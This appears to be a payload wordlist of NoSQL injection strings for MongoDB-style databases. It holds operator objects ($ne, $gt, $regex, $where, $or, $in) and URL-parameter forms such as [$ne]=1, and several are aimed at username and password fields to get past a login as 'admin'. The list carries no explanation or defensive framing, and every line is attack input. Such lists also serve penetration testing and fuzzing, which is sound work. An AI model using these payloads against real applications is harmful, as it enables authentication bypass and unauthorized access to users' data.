{"$ne": null}
{"$ne": ""}
{"$gt": ""}
{"$gt": -1}
{"$exists": true}
{"$regex": ".*"}
{"$where": "1==1"}
{"$where": "this.password.length > 0"}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"$or": [{"username": "admin"}, {"password": {"$ne": 1}}]}
{"username": {"$regex": "^adm"}}
{"username": {"$regex": "^admin"}}
[$ne]=1
[$gt]=
[$exists]=true
{"username": {"$in": ["admin", "administrator"]}}
{"$comment": "successful_login"}
{"$and": [{"username": "admin"}, {"password": {"$ne": null}}]}